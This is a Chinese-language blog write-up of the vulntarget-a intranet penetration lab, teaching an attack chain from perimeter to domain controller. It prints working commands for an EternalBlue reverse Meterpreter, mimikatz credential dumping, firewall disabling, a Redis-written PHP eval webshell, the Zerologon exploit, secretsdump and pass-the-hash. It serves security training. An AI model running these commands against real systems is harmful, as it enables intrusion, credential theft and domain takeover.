vulntarget-a内网靶场通关博客

靶场环境介绍

vulntarget-a 是一个典型的多层内网渗透靶场,不同于单节点的入门靶场,它模拟了真实企业环境中的多层网络架构,包含外网边界节点、内网应用服务器以及域控制器,完整覆盖了从外网打点、内网代理、横向移动到域控提权的全流程渗透测试场景,是内网渗透入门的绝佳练习靶场。

本次靶场共包含 4 台主机,网络架构如下:

  • Kali 攻击机 :外网攻击节点,外网网段为 10\.10\.10\.0/24,作为我们的攻击起点

  • Win7 边界主机 :外网可访问的边界节点,双网卡配置,同时连接外网 10\.10\.10\.0/24 和内网 10\.30\.1\.0/24,是我们的第一个打点目标

  • Win2016 应用服务器 :内网应用节点,位于 10\.0\.20\.0/24 网段,运行 PHPStudy 环境与 Redis 服务

  • Win2019 域控制器 :整个内网的核心域控节点,位于 10\.0\.10\.0/24 网段,存储了整个域的权限凭证,是我们的最终目标

一、外网打点:拿下边界 Win7 主机

作为渗透的第一步,我们首先需要突破外网边界,拿下这台暴露在公网的 Win7 主机,以此作为进入内网的跳板。

1.1 信息收集:定位边界节点

首先,我们在 Kali 攻击机上,对目标外网网段进行存活主机扫描,定位边界 Win7 主机的 IP 地址:

复制代码
netdiscover -i eth0  -r 10.10.10.0/24

扫描结果很快定位到了存活主机 10\.10\.10\.132,接下来我们对这台主机进行全端口服务扫描,摸清开放的端口和运行的服务,为后续漏洞利用做准备:

复制代码
nmap -A -p- 10.10.10.132

也可以使用 fscan 进行更快速的服务扫描,结果一致:

复制代码
./fscan_amd64 -h 10.10.10.132 -np

扫描结果显示,这是一台 Windows 7 主机,开放了 445 SMB 端口,这让我们立刻想到了经典的 永恒之蓝(MS17-010) 漏洞 ------ 这是 Win7 时代最知名的远程代码执行漏洞,几乎是未打补丁的 Win7 主机的标配入口。

1.2 漏洞利用:永恒之蓝远程拿下权限

我们直接启动 Metasploit 框架,利用永恒之蓝漏洞进行远程攻击:

复制代码
msfconsole

进入 msf 后,我们先搜索永恒之蓝的相关利用模块:

复制代码
search ms17-010

搜索结果中,我们选择最经典的永恒之蓝远程利用模块,查看需要配置的参数:

复制代码
use exploit/windows/smb/ms17_010_eternalblue 
show options

接下来配置攻击机和靶机的 IP 地址,指定我们的 Kali 主机 IP 作为回连地址,目标 Win7 主机 IP 作为攻击目标:

复制代码
set lhost 10.10.10.128  # 我们Kali的外网IP
set rhosts 10.10.10.132 # 目标Win7的外网IP

配置完成后,直接执行 run 发起攻击:

复制代码
run

等待几秒后,我们就成功拿到了 Win7 主机的 Meterpreter 会话,而且直接是 System 最高权限!我们可以通过 getuid 命令确认当前权限:

复制代码
getuid

至此,我们已经成功拿下了边界 Win7 主机的完全控制权限,完成了外网打点的第一步。

1.3 后渗透:内网入口与凭证获取

成功拿下会话后,我们首先进行基础的后渗透信息收集,首先解决中文乱码问题,然后查看主机的网络配置:

复制代码
chcp 65001 # 切换到UTF-8编码解决乱码
ipconfig

结果验证了我们的猜测:这台 Win7 果然是双网卡主机!除了我们访问的外网网卡 10\.10\.10\.132,还有一个内网网卡 10\.30\.1\.139------ 这意味着我们已经找到了进入内网的入口,接下来就可以通过这台主机访问内网的其他网段了。

接下来,我们尝试抓取这台主机的登录凭证,使用 mimikatz 模块来导出内存中的登录密码,这是后渗透阶段获取凭证的常用手段:

复制代码
load mimikatz 
kiwi_cmd sekurlsa::logonpasswords

成功导出了凭证,我们拿到了 Win7 主机的本地账号密码:

  • 用户名:win7

  • 密码:admin

1.4 远程桌面配置:方便后续操作

为了后续内网操作的方便,我们尝试开启这台主机的远程桌面服务,首先关闭主机的防火墙,避免防火墙拦截我们的后续连接:

复制代码
shell 
netsh advfirewall set allprofiles state off

然后通过 msf 的 post 模块,一键开启 RDP 远程桌面服务:

复制代码
run post/windows/manage/enable_rdp

这样我们后续就可以通过远程桌面直接连接这台主机,更方便地进行内网的操作。

1.5 备选方案:Web 打点(通达 OA 漏洞)

除了永恒之蓝漏洞,这台 Win7 主机还开放了 Web 服务,我们也可以通过 Web 漏洞进行打点,这也是真实环境中非常常见的打点方式。

我们访问内网网卡的 Web 地址 http://10\.30\.1\.139/,可以看到这是一个 通达 OA 办公系统,这是国内企业非常常用的 OA 系统,也存在不少经典的远程代码执行漏洞。

我们可以直接利用通达 OA 的相关漏洞工具,获取远程代码执行权限,之后通过蚁剑连接生成的 WebShell,同样可以拿到 Win7 主机的最高权限,和永恒之蓝的效果完全一致,这也体现了渗透测试中打点方式的多样性。

二、内网横向:拿下 Win2016 应用服务器

拿下 Win7 主机后,我们就正式进入了内网环境,接下来需要进行横向渗透,拿下内网中的其他主机。这里我们选择使用 Cobalt Strike(CS)来进行内网的代理和主机控制,它可以非常方便地管理多层内网的跳板,是红队渗透的常用工具。

2.1 CS 上线与代理配置

首先,我们在 Kali 上启动 CS 的 teamserver 服务,作为我们的团队控制服务器:

复制代码
./teamserver 10.30.1.129 nikoxiaoyu

然后启动 CS 客户端,连接到我们的 teamserver,新建一个反向监听,然后生成一个 Windows 木马,上传到 Win7 主机上执行,让 Win7 主机上线到我们的 CS 团队服务器。

Win7 上线后,我们就可以通过 CS 进行内网的存活主机扫描,很快就扫描到了内网中的另一台主机:10\.0\.20\.99,这应该就是我们的下一个目标 ------Win2016 应用服务器。

接下来,我们通过 CS 的 socks 代理 功能,把 Win7 主机作为跳板,让我们的 Kali 主机可以通过它访问内网的其他网段。然后我们修改 Kali 上的 proxychains 配置文件,添加代理配置,这样我们就可以通过 proxychains 工具,把 Kali 的所有流量都转发到内网,从而直接访问内网的主机。

复制代码
# /etc/proxychains.conf
[ProxyList]  
socks5 10.30.1.129 1080

2.2 服务探测:Redis 未授权访问

配置好代理后,我们对 10\.0\.20\.99 这台主机进行端口扫描,发现它开放了两个关键端口:

  • 80 端口:Web 服务

  • 6379 端口:Redis 服务

我们先尝试访问 80 端口,发现只是一个简单的 Hello World 页面,没有明显的可利用入口。但是 6379 端口的 Redis 服务,引起了我们的注意 ------Redis 默认如果没有配置密码和访问限制,就会存在 未授权访问漏洞,攻击者可以直接连接 Redis,写入任意文件,这是内网中非常常见的漏洞。

我们通过代理连接这台主机的 Redis:

复制代码
proxychains redis-cli -h 10.0.20.99

果然,不需要密码就直接连接成功了!这说明我们可以利用这个未授权漏洞进行攻击。

2.3 漏洞利用:Redis 写入 WebShell

我们从之前的目录扫描中,发现这台主机的 80 端口的 Web 目录是 C:/phpStudy/PHPTutorial/WWW/,所以我们可以直接把一句话木马写入到这个目录下,从而获取 WebShell。

首先切换 Redis 的工作目录到 Web 目录:

复制代码
config set dir "C:/phpStudy/PHPTutorial/WWW/"

然后设置备份文件名为 tx\.php,也就是我们的木马文件:

复制代码
config set dbfilename tx.php

然后写入一句话木马的内容:

复制代码
set 1 "<?php @eval($_POST['tx']);?>"

最后执行 save 保存,这样 Redis 就会把我们的数据写入到 tx\.php 文件中:

复制代码
save

完成后,我们就可以通过蚁剑,挂上代理连接这个 WebShell,成功拿到了 Win2016 主机的权限!而且直接是 System 最高权限。

2.4 CS 上线 Win2016 与域信息收集

拿到 Win2016 的权限后,我们同样把它上线到我们的 CS 服务器,这样我们就可以把它作为新的跳板,访问更深层的 10\.0\.10\.0/24 网段。

首先我们在 CS 上新建一个转发监听,然后生成对应的木马,通过蚁剑上传到 Win2016 上执行,让它上线到 CS。上线后,我们同样关闭这台主机的防火墙,方便后续的渗透:

复制代码
netsh firewall set opmode mode=disable

接下来,我们查看这台主机的系统信息,发现它已经加入了域!这说明我们已经进入了域环境,接下来的目标就是域控制器了。我们通过命令收集域的相关信息:

复制代码
# 查看域控制器列表
net group "domain controllers" /domain 
# 查看域管理员组
net group "enterprise admins" /domain 
# 解析域的地址
ping vulntarget.com

通过这些信息,我们成功定位到了域控制器的地址:10\.0\.10\.110,主机名是 WIN2019,这就是我们最终的目标!

三、域内渗透:拿下域控 Win2019

现在我们已经到了域内,目标是拿下这台 Win2019 域控制器。对于域控,我们有一个非常经典的漏洞可以利用:CVE-2020-1472(Zerologon),这个漏洞可以让我们无需任何凭证,直接重置域控的机器账号密码,从而拿到域管理员的权限,是域渗透中非常高效的提权手段。

3.1 漏洞利用:Zerologon 重置域控密码

首先,我们需要准备好利用工具,impacket 工具集和 CVE-2020-1472 的 EXP:

复制代码
# 安装impacket工具集,用于后续的凭证导出
git clone https://github.com/SecureAuthCorp/impacket 
cd impacket 
python3 -m pip install -r requirements.txt 
python3 -m pip install . 
​
# 下载Zerologon漏洞EXP
git clone https://github.com/dirkjanm/CVE-2020-1472.git

然后,我们通过代理,执行 EXP,对域控进行攻击:

复制代码
cd CVE-2020-1472  
proxychains python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110

执行成功后,域控的机器账号密码就被我们重置为空了,这就为我们后续导出凭证打开了大门。

3.2 导出域内所有凭证

接下来,我们使用 impacket 的 secretsdump 工具,利用空密码的机器账号,导出域内所有用户的 NT Hash 凭证,这是我们拿下域控的关键一步:

复制代码
cd impacket/examples  
proxychains python3 secretsdump.py vulntarget.com/WIN2019\$@10.0.10.110 -no-pass

很快,我们就拿到了域管理员 Administrator 的 NT Hash:

复制代码
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15

3.3 登录域控:Pass-the-Hash 拿下权限

拿到了管理员的 Hash,我们就可以通过 Pass-the-Hash(哈希传递)攻击,直接登录域控,不需要知道明文密码,这是域渗透中非常常用的权限维持和登录手段。

我们使用 impacket 的 smbexec 工具,通过 Hash 登录域控:

复制代码
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 Administrator@10.0.10.110

也可以使用 wmiexec 工具,效果一致:

复制代码
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget/administrator@10.0.10.110

登录成功!我们成功拿到了域控制器的 System 权限,至此,整个靶场的所有主机都被我们拿下,渗透测试完成!

四、渗透总结

整个 vulntarget-a 靶场的渗透流程,完整模拟了真实企业内网的渗透路径,非常贴合实际的红队攻击场景:

  1. 外网打点:通过永恒之蓝漏洞拿下边界 Win7 主机,打通内网入口,同时也可以通过 Web 漏洞进行打点,体现了打点方式的多样性

  2. 内网横向:通过 CS 搭建多层代理,利用 Redis 未授权漏洞拿下内网的 Win2016 应用服务器,逐步深入内网

  3. 域控提权:利用 Zerologon 漏洞重置域控密码,导出域凭证,通过哈希传递拿下域控权限,完成整个内网的控制

整个过程覆盖了从外网到内网,从普通主机到域控的全流程,涉及了永恒之蓝、Redis 未授权、Zerologon 等多个经典漏洞,以及代理配置、凭证抓取、哈希传递等内网渗透的核心技术,非常适合内网渗透的入门练习,帮助我们理解真实企业环境中的渗透测试逻辑。

相关推荐
菩提小狗3 小时前
每日安全情报报告 · 2026-05-30
网络安全·漏洞·cve·安全情报·每日安全
IPHWT 零软网络12 小时前
MX60E-A信创级智能语音网关技术实现与架构分析
网络·网络安全·国产自研·技术实现·智能语音网关·政企通信·信创技术
сокол19 小时前
【网安-Web渗透测试-免杀系列】内存免杀(无文件落地)
windows·网络安全
学习溢出21 小时前
【网络安全】追踪PowerShell命令历史
安全·网络安全
Sombra_Olivia1 天前
Vulhub 中的 cmsms CVE-2019-9053 & CVE-2021-26120
安全·web安全·网络安全·渗透测试·vulhub
大方子1 天前
【PolarCTF】bllbl_ser1
网络安全·polarctf
Chengbei111 天前
小程序 AI 渗透新工具MCP!打通调试与安全检测、网络抓包、接口分析、越权检测一站式实现
人工智能·安全·web安全·搜索引擎·网络安全·小程序·系统安全
humors2211 天前
Windows运维与安全场景合集(不定期更新)
大数据·运维·服务器·程序人生·网络安全